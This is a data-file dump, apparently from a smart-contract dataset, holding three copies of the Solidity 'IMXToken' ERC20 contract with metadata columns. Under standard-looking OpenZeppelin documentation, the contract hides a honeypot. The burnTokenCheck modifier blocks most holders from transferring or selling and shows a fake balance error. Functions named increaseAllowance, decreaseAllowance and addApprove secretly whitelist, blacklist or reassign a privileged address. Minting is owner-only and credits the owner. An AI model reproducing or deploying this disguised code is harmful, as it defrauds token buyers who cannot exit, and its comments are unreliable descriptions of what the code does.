contract_name
stringlengths
1
61
file_path
stringlengths
5
50.4k
contract_address
stringlengths
42
42
language
stringclasses
1 value
class_name
stringlengths
1
61
class_code
stringlengths
4
330k
class_documentation
stringlengths
0
29.1k
class_documentation_type
stringclasses
6 values
func_name
stringlengths
0
62
func_code
stringlengths
1
303k
func_documentation
stringlengths
2
14.9k
func_documentation_type
stringclasses
4 values
compiler_version
stringlengths
15
42
license_type
stringclasses
14 values
swarm_source
stringlengths
0
71
meta
dict
__index_level_0__
int64
0
60.4k
IMXToken
IMXToken.sol
0xaeb29c7b70ceab600013680850c6533b577108e7
Solidity
IMXToken
contract IMXToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
decimals
function decimals() public view returns (uint8) { return _decimals; }
/** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f
{ "func_code_index": [ 2402, 2490 ] }
59,261
IMXToken
IMXToken.sol
0xaeb29c7b70ceab600013680850c6533b577108e7
Solidity
IMXToken
contract IMXToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
totalSupply
function totalSupply() public view override returns (uint256) { return _totalSupply; }
/** * @dev See {IERC20-totalSupply}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f
{ "func_code_index": [ 2550, 2655 ] }
59,262
IMXToken
IMXToken.sol
0xaeb29c7b70ceab600013680850c6533b577108e7
Solidity
IMXToken
contract IMXToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
